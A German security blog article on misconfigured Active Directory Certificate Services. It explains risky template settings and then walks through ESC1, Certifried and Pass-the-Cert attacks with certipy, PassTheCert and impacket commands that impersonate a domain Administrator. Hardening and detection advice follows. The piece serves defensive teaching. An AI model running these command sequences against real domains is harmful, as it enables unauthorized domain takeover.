ADCS – Privilege Escalation as a Service

In diesem Artikel befassen wir uns mit den Risiken einer fehlerhaften oder unvollständigen Einrichtung von ADCS (Active Directory Certificate Services). Je nach Ausmaß kann ein Angreifer Zertifikate für jegliche Aktion und Berechtigung erstellen, sodass hier ein sehr großes Risiko besteht. Wir zeigen euch die drei größten Risikofaktoren, schildern zwei mögliche Angriffswege und erklären, wie ihr euch davor schützen könnt.

ADCS - Active Directory Certificate Services

Die Active Directory Zertifikatsdienste gibt es unter diesem Namen seit Windows Server 2008, vorher hieß es nur Stammzertifizierungsstelle (engl. Certificate Authority). Die ADCS dienen der Erstellung einer eigenen Public Key Infrastructure (kurz PKI). Details zur ADCS findest du im entsprechenden Artikel: Public Key Infrastructure mit Active Directory Certificate Services

Eine umfängliche und strukturierte Einrichtung und Umsetzung der AD Zertifikatsdienste ist enorm wichtig für den Schutz vor möglichen Hacking Angriffen.

Risikofaktoren bei der Konfiguration von ADCS

Eine Fehlkonfiguration bei den ADCS kann zu weitreichenden Konsequenzen führen. Daher werden im Folgenden einige der wichtigsten Konfigurationsschritte bei der Erstellung bzw. Anpassung der Zertifikatsvorlagen beschrieben und die Konsequenzen mancher Optionen vorgestellt. Da diese einzeln betrachtet durchaus sinnvoll und notwendig sein können, ist insbesondere die Kombination der Eintellungen dabei relevant.

Antragstellername

Im Reiter Antragstellername stehen zwei Optionen zur Verfügung:

Informationen werden in der Anforderung angegeben: Diese Option ist z. B. beim Template “Webserver” im Standard aktiv. Hier macht es Sinn, dass ein berechtigter Administrator die entsprechenden alternativen Namen eines Servers im Zertifikat angibt.

Achtung: Wird diese Option bei Benutzerzertifikaten ausgewählt, kann der Antragsteller ein Zertifikat für jeden beliebigen Benutzer ausstellen. Falls die Berechtigungen zur Erstellung nun noch für alle Benutzer (s.u.) gesetzt werden, kann ein “normaler” Nutzer Zertifikate für den Administrator beantragen.

Aus diesen Informationen im Active Directory erstellen: Bei Auswahl dieser Option werden die verwendeten Informationen aus den AD Einträgen des Benutzers bzw. des Computers generiert. Dies ist insbesondere bei Benutzern sinnvoll: So wird verhindert, dass Werte anderer Benutzer verwendet werden können.

Berechtigungen in ADCS

Der Reiter Berechtigungen entspricht dem bekannten Layout der Berechtigungsvergabe. Letzlich unterscheidet sich dies nicht von sonstigen Berechtigungen und der Empfehlung zur Nutzung der üblichen Vorgaben: “So wenige Berechtigungen wie möglich”.

Besonders die Freigaben bei “Authentifizierte Benutzer” solltest du hinterfragen, da hierdurch jeder im AD vorhandene Benutzer diese Berechtigung erhält. Selbst die Leseberechtigung sollte hier nur vergeben werden, wenn diese Zertifikate für alle Benutzer relevant sind, was nur selten zutrifft.

Die Berechtigungen “Vollzugriff” und “Schreiben” sollten maximal an Administratoren oder entsprechende eingeschränkte Benutzergruppen mit konkreten Anforderungen vergeben werden, da hier die Inhalte des Templates nach belieben angepasst werden können.

Die Kritikalität der Berechtigungen “Registrieren” bzw. “Automatisch registrieren” hängt von der Vorlage und den dort vorhandenen Freiheitsgraden ab. Beispielsweise sollte nicht jeder Benutzer das oben genannte Webservertemplate mit freier Eingabe der Serverdaten nutzen können! Für andere Szenarien, z. B. Smart-Card Nutzung, kann es hingegen notwendig sein, dass jeder Anwender ein entsprechendes Zertifikat besitzt und unter Umständen erstellen kann.

Anwendungsrichtlinien

Die Anwendungsrichtlinien legen den Verwendungszweck des Zertifikates fest. Wichtig ist hier die genaue Festlegung, angepasst auf die Zielsetzung des Zertifikates. Beispielsweise benötigt ein Zertifikat zur Nutzung im Webserver oder zur Codesignierung keine Clientauthentifizierung.

Besonders kritisch ist die Ausstellung von Zertifikaten mit der Anwendungsrichtlinie “Beliebiger Zweck” bzw. “Any Purpose”. Die Erfahrung zeigt, dass es immer wieder zu Konfigurationen kommt, in denen teils Benutzer oder auch Administratoren diese Zertifikate erstellen können. Die Beantragung sollte hier auf ein absolutes Minimum beschränkt sein und der berechtigte Account bestmöglich geschützt sein.

Angriffe auf ADCS

ESC1 - Subject Alternative Name

Der Subject Alternative Name oder auch der Haken bei „Informationen werden in der Anforderung angegeben“. Mit dem Alternativnamen kannst du sein, wer du möchtest: Wenn der Zweitname Administrator ist, geht das auch.

Zuerst musst du die notwendigen Informationen beschaffen, also ein klassischer Fall für Bloodhound. Dafür werden valide Benutzerdaten aus der Domäne benötigt, hier unser dcUser.

Zuerst der Bloodhound Dump für Benutzer und Computer Informationen:

				
					bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> [-c all] -dc <FQDN_DC> [-ns <IP_DC>] --zip

Danach mit certipy (hier 4.0) die Zertifikatsinformationen holen:

				
					certipy find -u <USER> -p <PASSWORD> -old-bloodhound -target <FQDN_DC>

Die .zip‘s dann in die BloodhoundGUI ziehen für weitere Analysen.

Für die Analyse eignen sich die Customqueries von @Ly4k dem Autor von certipy:

Hier haben wir einen ‚Generic All‘, weil sich der Administrator „verklickt” hat und allen Nutzern den Vollzugriff gestattet hat. So etwas passiert gerne mal im Rahmen der Implementierung oder des Troubleshooting und der “Rückbau” wird nicht gemacht, wenn es funktioniert. Uns reicht in diesem Fall der Subject Alternativ Name/Enrollee Supplies Subject = true.

Weiter geht es auf der Shell mit certypy:

				
					certipy req -u <USER> -p <PASSWORD> -ca <CA> -target <FQDN_CA> -template <ESC1_CERT> -upn <ADMIN_ACCOUNT>

Danach das Zertifikat zur Anmeldung benutzen:

				
					certipy auth -pfx administrator.pfx

Damit erhältst du ein TGT und den PasswortHash. Mit dem Zertifikat kannst du dir immer ein TGT und den Hash holen, solange es gültig ist. Auch ein Passwortwechsel des Nutzers und vom KRBTGT helfen hier nicht.

Die Domäne ist dein, solange das Zertifikat nicht gesperrt wird.

ESC2 - Any Purpose

Das “Any purpose” Zertifikat. Es ist in der Regel eine CA oder SubCA Zertifikat und hat damit auch genau die Rechte, die Standardgültigkeit sind 5 Jahre. Da es nur von Administrativen Nutzern angefordert werden kann, ist dies eher eine Maßnahme zur Persistenz.

ESC3-7

Behandeln wir hier noch nicht. Der ESC6 ist wie die ESC1, nur von der CA aus an alle Zertifikatstemplates vererbt.

ESC8 - Vulnerable Webservice

Der angreifbare Webserver. Vollumfänglich in unserem PetitPotam Artikel behandelt.

Certifried

Mein Computer heißt jetzt wie der Domänencontroller. Hierfür muss der Wert für das Erstellen weiterer Computer in der Domäne so gesetzt sein, dass weitere hinzugefügt werden können. Im Standard beträgt dieser 10 (ms-DS-MachineAccountQuota), wenn man noch keinen privilegierteren Account hat.

Diese Lücke wurde von Microsoft im Mai 2022 gepatched. Eine Ausnutzung via Kerberos oder Schannel ist somit nicht möglich, wenn CA und DC gepatched sind.

Durch den Patch wird ein weiterer Parameter in das Zertifikat geschrieben, der szOID_NTDS_CA_SECURITY_EXT die SID des Benutzers.

Falls es doch nicht gepatched wurde oder der CT_FLAG_NO_SECURITY_EXTENSION (0x80000) im msPKI-Enrollment-Flag gesetzt ist, geht es trotzdem. Mit certipy einen neuen Computer erstellen, aber einen alternativen dNSHostName eintragen lassen.

				
					certipy account create -user <NEW_PC> -username <USER[@DOMAIN]> -password <PASSWORD> -target <FQDN_DC/IP_DC> -dns <FQDN_DC>

Danach forderst du ein Zertifikat an. Da für Computer Zertifikate der dNSHostName genutzt wird, muss hier nichts “manipuliert” werden. Die Machine Zertifikatsvorlage wird dafür benutzt.

Pass the Cert

Wenn die Anmeldung mit dem Zertifikat nicht klappt, weil es nicht unterstütz ist, erhältst du folgende Fehlermeldung:

Fehler: eRR-PDATA-Type-NOSUPP

oder

Error Code: 16 Reason: KDC has no support for PADATA type (pre-authentication data).

Hier hilft ein Tool von AlmonOffSec, PassTheCert in C# und Python. LDAPS und LDAP sind ausnutzbar durch StartTLS. Auch LDAP ChannelBinding hat durch Schannel keinen negativen Effekt auf den Angriff.

Aber zuerst muss das .pfx in ein .crt und in ein .key gewandelt werden, also den privaten Schlüssel und das Zertifikat selbst als eigenständige Daten haben.

				
					certipy cert -pfx <CERT>.pfx -nokey -out <CERT>.crt

				
					certipy cert -pfx <CERT>.pfx -nocert -out <CERT>.key

Danach erstellen wir einen neuen Computer, wenn wir noch keine Kontrolle über einen haben. Anmeldung als das System sollte mit einem Passwort möglich sein.

				
					python3 /opt/PassTheCert/Python/passthecert.py -dc-ip <IP_DC> -crt <CERT>.crt -key <CERT>.key -domain <DOMAIN> -action add_computer -computer-name <NEW_PC>

Danach erstellen wir eine Delegation von unserem “neuen Computer” zu dem Domänencontroller. msDS-AllowedToActOnBehalfOfOtherIdentity, eine ResourceBasedConstrainedDelegation. Zur Hilfestellung das -delegate-from und -delegate-to: das from ist der Computer, den ich kontrolliere, und die Daten schreibe ich in den to, also mein Ziel.

				
					python3 /opt/PassTheCert/Python/passthecert.py -dc-ip <IP_DC> -crt <CERT>.crt -key <CERT>.key -domain <DOMAIN> -action write_rbcd -delegate-from <NEW_PC$> -delegate-to <HOSTNAME_DC$>

Mit den delegierten Berechtigungen Kerberos anfragen, takeover.

				
					impacket-getST -spn 'cifs/<FQDN_DC>' -impersonate Administrator '<DOMAIN>/<NEW_PC$>:<PASSWORD>' -dc-ip <IP_DC>

Certipy hat auch eine LDAP Shell mit einfachen Befehlen implementiert, worüber dieses Szenario auch ausgenutzt werden kann.

Zertifikatsausnutzung mittels GUI

Wer die Gefahr von fehlerhaft konfigurierten Zertifikatstemplates in einer reinen Windowsumgebung ohne die Nutzung von Kali-Linux nachstellen möchte, kann dies mittels normalen Windowsboardmitteln und dem Smartcard-Emulator PIVert umsetzen.

In unserem Anwendungsfall nutzen wir einen Windows 10 Client. In der MMC Console fügen wir den entsprechenden Snap-In der Zertifikate hinzu, um anschließend aus den vorhandenen Templates ein Zertifikat zu erstellen.

“Glücklicherweise” befindet sich in unseren Templates eine Vorlage zur Erstellung eines SmartCard-Zertifikates, in der wir den Antragstellernamen selbst eingeben können. Wir können also als angemeldeter Standarduser ein Zertifikat für den Administrator erstellen!

Wichtig ist es, bei der Erstellung den privaten Schlüssel als exportierbar einzustellen und zur Nutzung in PIVert den Antragstellernamen leer zu lassen, da es hier sonst zu Problemen kommen kann.

Nach der erfolgreichen Erstellung des Zertifikates musst du dieses als *.pfx exportieren. Dabei muss der private Schlüssel exportiert und ein Kennwort angegeben werden.

Anschließend kannst du dieses Zertifikat in PIVert einbinden und eine entsprechende SmartCard emulieren. Damit erfolgt ein RDP-Verbindungsaufbau, im Beispielfall als Administrator auf den ADCS.

Schutz vor Angriffen

Konfiguration

Den besten Schutz vor Angriffen bietet eine bewusste und angemessene Konfigruation der Templates und der Berechtigungen. Dabei sind insbesondere die oben genannten Risiken zu betrachten und bei der Konfiguration zu minimieren.

Der Antragstellername sollte wenn immer möglich direkt aus den Benutzerdaten des AD gezogen werden und nicht selbst zu editieren sein, mittels Auswahl “Aus diesen Informationen im Active Directory erstellen” aus oben zu sehendem Screenshot.

Vergib die Berechtigungen so restriktiv wie möglich, insbesondere wenn der Antragstellername nicht festgelegt ist oder die Möglichkeiten des Zertifikates sehr weitreichend sind.

Weiterhin gilt bei der Festlegung der Anwendungsrichtlinien zur Definition des Verwendungszwecks: Wähle nur diejnigen in einem Zertifikat aus, die zum Nutzungszweck notwendig sind. Für verschiedene Anwendungsfelder sind verschiedene Templates zu erstellen.

Die korrekte und bewusste Konfiguration der Zertifikatstamplates stellt den wichtigsten Schritt zum Schutz gegen Missbrauch und Angriffe dar.

Genehmigung der Zertifikatsverwaltung

Eine weitere Möglichkeit, das Risiko eines Missbrauchs zu minimieren, ist die Aktivierung der Genehmigung der Zertifikatsverwaltung (manager approval). Wenn du das in der entsprechenden Zertifikatsvorlage aktivierst, kann ein Zertifikat zwar beantragt werden, die Freigabe muss jedoch durch einen Administrator auf dem ADCS erfolgen. Somit ist eine Erstellung von Zertifikaten erschwert – dies ist entsprechend mit Mehraufwand im Erstellungsprozess verbunden.

Eine weitere Herausforderung dieser Methode ist das “Rückspielen” der freigegebenen Zertifikate an den Antragsteller. Hier bestehen verschiedene Möglichkeiten, welche wir an dieser Stelle nicht im Detail vorstellen:

Einrichtung der automatischen Registrierung mittels GPO. Dabei werden die freigegebenen Zertifikate in regelmäßigen Abständen verteilt (dies kann mittels “certutil -pulse” auf dem Client ebenfalls aktiv angestoßen werden)
Verteilung eines freigegbenen Zertifikats über die Richtlinien für öffentliche Schlüssel im Active Directory
Export des Zertifikates und Import auf dem Zielsystem

Erkennung von Angriffen

Analyse ausgestellter Zertifikate

Die aktive Erkennung der bisher gezeigten Angriffe ist nicht trivial, da die Erzeugung und Nutzung der Zertifikate zu den gewünschten Anwendungen gehört. Wir empfehlen an dieser Stelle eine regelmäßige Kontrolle der ausgestellten Zertifikate. Dies kann entweder direkt in der Oberfläche des ADCS erfolgen oder bei einer größeren Anzahl mittels PowerShell.

Dies empfiehlt sich insbesondere bei der Erstellung mehrerer Zertifikate bzw. bei regelmäßiger Erstellung. Dabei ist die Nutzung von PowerShell PKI Solutions sinnvoll. Anbei ein Beispiel zur Abfrage der aktuell ausgestellten Zertifikate: